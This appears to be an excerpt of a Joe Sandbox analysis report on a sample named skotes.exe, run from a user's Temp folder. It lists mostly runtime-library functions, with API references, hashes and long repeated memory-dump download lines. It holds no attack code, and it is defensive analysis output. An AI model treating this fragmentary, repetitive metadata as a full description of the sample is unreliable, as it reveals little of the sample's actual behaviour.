Associated: 00000006.00000002.3084869034.00000000009D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3089557291.0000000000A04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3092524700.0000000000A05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3095030242.0000000000A06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3097217566.0000000000A09000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3099555404.0000000000A0B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3101991201.0000000000A1A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3103834048.0000000000A1B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_710000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Context$Base::$GroupScheduleSegment$AssignAvailableConcurrency::location::_EventInternalMakeProcessor::ReleaseRunnableTraceVirtual
String ID:
API String ID: 512098550-0
Opcode ID: 56800d0d15ac27428a803eab43553b8e9fb0150650f311dc01b9ac572b5ef1cc
Instruction ID: 00b8b378e15226574e183dd8432ddb93f27627ab9eb03d5e0ead29245f7cd141
Opcode Fuzzy Hash: 56800d0d15ac27428a803eab43553b8e9fb0150650f311dc01b9ac572b5ef1cc
Instruction Fuzzy Hash: D9412E75A00619EFDB09DF64C958A6DB7B6FF48310F048159E906AB391CB78BE01CF91

Function 0072ECE6 Relevance: 7.6, APIs: 5, Instructions: 101COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 0072ECED
Concurrency::details::_NonReentrantPPLLock::_Scoped_lock::_Scoped_lock.LIBCONCRT ref: 0072ED17

Part of subcall function 0072F3DD: Concurrency::critical_section::_Acquire_lock.LIBCONCRT ref: 0072F3FA

__alloca_probe_16.LIBCMT ref: 0072ED53
Concurrency::details::EventWaitNode::Satisfy.LIBCONCRT ref: 0072ED94
Concurrency::details::_ReaderWriterLock::_Scoped_lock::~_Scoped_lock.LIBCONCRT ref: 0072EDC6

Memory Dump Source

Source File: 00000006.00000002.3071388917.0000000000711000.00000040.00000001.01000000.00000007.sdmp, Offset: 00710000, based on PE: true

Associated: 00000006.00000002.3071283144.0000000000710000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3071388917.0000000000772000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3071872451.0000000000779000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072029598.000000000077B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072164112.0000000000785000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072314383.0000000000786000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072388776.0000000000787000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073239026.00000000008D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073422228.00000000008D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073641457.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073796583.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073991806.00000000008F0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073991806.00000000008F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3075021113.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3076272152.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077091788.0000000000915000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077305980.0000000000916000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077436235.0000000000918000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077580083.000000000091A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077737514.0000000000928000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077851992.0000000000929000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077926079.0000000000932000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078090745.000000000093D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078472443.0000000000953000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078876438.0000000000954000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078992587.0000000000955000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079075448.0000000000959000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079198307.0000000000961000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079275216.0000000000962000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079363798.0000000000963000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079507057.0000000000968000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079593066.0000000000976000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079728111.0000000000977000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079818104.0000000000985000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079920107.000000000098C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3080335589.000000000098E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3081588194.0000000000996000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3082991573.00000000009A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3084869034.00000000009A9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3084869034.00000000009D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3089557291.0000000000A04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3092524700.0000000000A05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3095030242.0000000000A06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3097217566.0000000000A09000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3099555404.0000000000A0B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3101991201.0000000000A1A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3103834048.0000000000A1B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_710000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::_Lock::_Scoped_lock$Acquire_lockConcurrency::critical_section::_Concurrency::details::EventH_prolog3_Node::ReaderReentrantSatisfyScoped_lock::_Scoped_lock::~_WaitWriter__alloca_probe_16
String ID:
API String ID: 2568206803-0
Opcode ID: 71c8fd30a5c3613f1eb4e6ac5ee0ceaccdc91d4d3be327bc4e2412bcbd86ed1b
Instruction ID: d16adc18b4956a4f4756c866f3b2d2e8cf6b2b71aa4b3ebbf84f9d93dffae7e6
Opcode Fuzzy Hash: 71c8fd30a5c3613f1eb4e6ac5ee0ceaccdc91d4d3be327bc4e2412bcbd86ed1b
Instruction Fuzzy Hash: 42318D71B00225CFDB15DFA8D8455ADB7B4EF09310B64406EE845EB351DB78AE02CBA1

Function 0073D2B9 Relevance: 7.6, APIs: 5, Instructions: 97COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::ReferenceCountedQuickBitSet::InterlockedSet.LIBCONCRT ref: 0073D344
ListArray.LIBCONCRT ref: 0073D367
Concurrency::details::SchedulerBase::VirtualProcessorActive.LIBCONCRT ref: 0073D370
ListArray.LIBCONCRT ref: 0073D3A8
Concurrency::details::VirtualProcessor::MakeAvailable.LIBCONCRT ref: 0073D3B3

Memory Dump Source

Source File: 00000006.00000002.3071388917.0000000000711000.00000040.00000001.01000000.00000007.sdmp, Offset: 00710000, based on PE: true

Associated: 00000006.00000002.3071283144.0000000000710000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3071388917.0000000000772000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3071872451.0000000000779000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072029598.000000000077B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072164112.0000000000785000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072314383.0000000000786000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072388776.0000000000787000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073239026.00000000008D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073422228.00000000008D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073641457.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073796583.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073991806.00000000008F0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073991806.00000000008F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3075021113.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3076272152.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077091788.0000000000915000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077305980.0000000000916000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077436235.0000000000918000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077580083.000000000091A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077737514.0000000000928000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077851992.0000000000929000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077926079.0000000000932000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078090745.000000000093D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078472443.0000000000953000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078876438.0000000000954000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078992587.0000000000955000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079075448.0000000000959000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079198307.0000000000961000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079275216.0000000000962000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079363798.0000000000963000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079507057.0000000000968000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079593066.0000000000976000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079728111.0000000000977000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079818104.0000000000985000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079920107.000000000098C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3080335589.000000000098E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3081588194.0000000000996000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3082991573.00000000009A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3084869034.00000000009A9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3084869034.00000000009D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3089557291.0000000000A04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3092524700.0000000000A05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3095030242.0000000000A06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3097217566.0000000000A09000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3099555404.0000000000A0B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3101991201.0000000000A1A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3103834048.0000000000A1B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_710000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$ArrayListVirtual$ActiveAvailableBase::CountedInterlockedMakeProcessorProcessor::QuickReferenceSchedulerSet::
String ID:
API String ID: 4212520697-0
Opcode ID: 512c9a715cbcc894e90485ab9ccc11aeaa1f70d06b62332d9279663ca923635a
Instruction ID: 3a17173f13178d2cd27d51fc08605f2820cd325300f2d067d9a735690a707e79
Opcode Fuzzy Hash: 512c9a715cbcc894e90485ab9ccc11aeaa1f70d06b62332d9279663ca923635a
Instruction Fuzzy Hash: 2D31A175700214EFEB15DF64D885BAEB7A6BF88300F054199E8069F393CB78AD41CB92

Function 007386C9 Relevance: 7.6, APIs: 5, Instructions: 88COMMON

Download Yara Rule

APIs

_SpinWait.LIBCONCRT ref: 007386EE

Part of subcall function 0072EAD0: _SpinWait.LIBCONCRT ref: 0072EAE8

Concurrency::details::ContextBase::ClearAliasTable.LIBCONCRT ref: 00738702
Concurrency::details::_ReaderWriterLock::_AcquireWrite.LIBCONCRT ref: 00738734
List.LIBCMT ref: 007387B7
List.LIBCMT ref: 007387C6

Memory Dump Source

Source File: 00000006.00000002.3071388917.0000000000711000.00000040.00000001.01000000.00000007.sdmp, Offset: 00710000, based on PE: true

Associated: 00000006.00000002.3071283144.0000000000710000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3071388917.0000000000772000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3071872451.0000000000779000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072029598.000000000077B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072164112.0000000000785000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072314383.0000000000786000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072388776.0000000000787000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073239026.00000000008D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073422228.00000000008D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073641457.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073796583.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073991806.00000000008F0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073991806.00000000008F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3075021113.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3076272152.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077091788.0000000000915000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077305980.0000000000916000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077436235.0000000000918000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077580083.000000000091A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077737514.0000000000928000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077851992.0000000000929000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077926079.0000000000932000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078090745.000000000093D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078472443.0000000000953000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078876438.0000000000954000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078992587.0000000000955000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079075448.0000000000959000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079198307.0000000000961000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079275216.0000000000962000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079363798.0000000000963000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079507057.0000000000968000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079593066.0000000000976000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079728111.0000000000977000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079818104.0000000000985000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079920107.000000000098C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3080335589.000000000098E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3081588194.0000000000996000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3082991573.00000000009A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3084869034.00000000009A9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3084869034.00000000009D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3089557291.0000000000A04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3092524700.0000000000A05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3095030242.0000000000A06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3097217566.0000000000A09000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3099555404.0000000000A0B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3101991201.0000000000A1A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3103834048.0000000000A1B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_710000_skotes.jbxd

Yara matches

Similarity

API ID: ListSpinWait$AcquireAliasBase::ClearConcurrency::details::Concurrency::details::_ContextLock::_ReaderTableWriteWriter
String ID:
API String ID: 3281396844-0
Opcode ID: f7b71e90869f11e2787cae516481f22ca5c50e96c548e841eef6bddd12608ecf
Instruction ID: 67afc764aa0f8113a9d505fd988c74604149230a1bab98172ffc9658429b602e
Opcode Fuzzy Hash: f7b71e90869f11e2787cae516481f22ca5c50e96c548e841eef6bddd12608ecf
Instruction Fuzzy Hash: C3316772901365DFEB54EFA4D5856EDB7B2BF04318F28006AE40277653CB39AE04CB96

Function 0074182A Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 85COMMON

Download Yara Rule

APIs

std::invalid_argument::invalid_argument.LIBCONCRT ref: 007418A4
Concurrency::details::FreeVirtualProcessorRoot::SpinUntilIdle.LIBCONCRT ref: 007418EB

Strings

pContext, xrefs: 0074189C

Memory Dump Source

Source File: 00000006.00000002.3071388917.0000000000711000.00000040.00000001.01000000.00000007.sdmp, Offset: 00710000, based on PE: true

Associated: 00000006.00000002.3071283144.0000000000710000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3071388917.0000000000772000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3071872451.0000000000779000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072029598.000000000077B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072164112.0000000000785000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072314383.0000000000786000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072388776.0000000000787000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073239026.00000000008D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073422228.00000000008D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073641457.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073796583.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073991806.00000000008F0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073991806.00000000008F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3075021113.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3076272152.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077091788.0000000000915000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077305980.0000000000916000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077436235.0000000000918000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077580083.000000000091A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077737514.0000000000928000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077851992.0000000000929000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077926079.0000000000932000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078090745.000000000093D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078472443.0000000000953000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078876438.0000000000954000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078992587.0000000000955000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079075448.0000000000959000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079198307.0000000000961000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079275216.0000000000962000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079363798.0000000000963000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079507057.0000000000968000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079593066.0000000000976000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079728111.0000000000977000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079818104.0000000000985000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079920107.000000000098C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3080335589.000000000098E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3081588194.0000000000996000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3082991573.00000000009A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3084869034.00000000009A9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3084869034.00000000009D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3089557291.0000000000A04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3092524700.0000000000A05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3095030242.0000000000A06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3097217566.0000000000A09000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3099555404.0000000000A0B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3101991201.0000000000A1A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3103834048.0000000000A1B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_710000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::FreeIdleProcessorRoot::SpinUntilVirtualstd::invalid_argument::invalid_argument
String ID: pContext
API String ID: 3390424672-2046700901
Opcode ID: 7a48ad68cc5a6ae4efe42862b4c777af5f78395ae2400d95ca5ad908c4eb8f83
Instruction ID: fd0a852ca721a54000fcd6154b88a29641db0badad94159c7cd5bb49f64baefc
Opcode Fuzzy Hash: 7a48ad68cc5a6ae4efe42862b4c777af5f78395ae2400d95ca5ad908c4eb8f83
Instruction Fuzzy Hash: E121F435B00715DBCB14BB68D899ABDB3A9BF94334B44412AE512872D1CFACEC81CAD1

Function 0074DFE3 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 85COMMON

Download Yara Rule

Strings

6t, xrefs: 0074E034
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, xrefs: 0074DFE8

Memory Dump Source

Source File: 00000006.00000002.3071388917.0000000000711000.00000040.00000001.01000000.00000007.sdmp, Offset: 00710000, based on PE: true

Associated: 00000006.00000002.3071283144.0000000000710000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3071388917.0000000000772000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3071872451.0000000000779000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072029598.000000000077B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072164112.0000000000785000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072314383.0000000000786000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072388776.0000000000787000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073239026.00000000008D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073422228.00000000008D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073641457.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073796583.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073991806.00000000008F0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073991806.00000000008F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3075021113.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3076272152.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077091788.0000000000915000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077305980.0000000000916000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077436235.0000000000918000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077580083.000000000091A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077737514.0000000000928000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077851992.0000000000929000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077926079.0000000000932000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078090745.000000000093D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078472443.0000000000953000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078876438.0000000000954000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078992587.0000000000955000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079075448.0000000000959000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079198307.0000000000961000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079275216.0000000000962000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079363798.0000000000963000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079507057.0000000000968000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079593066.0000000000976000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079728111.0000000000977000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079818104.0000000000985000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079920107.000000000098C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3080335589.000000000098E000.00000080.00000001.01000000.00000007.sdmpDownload File
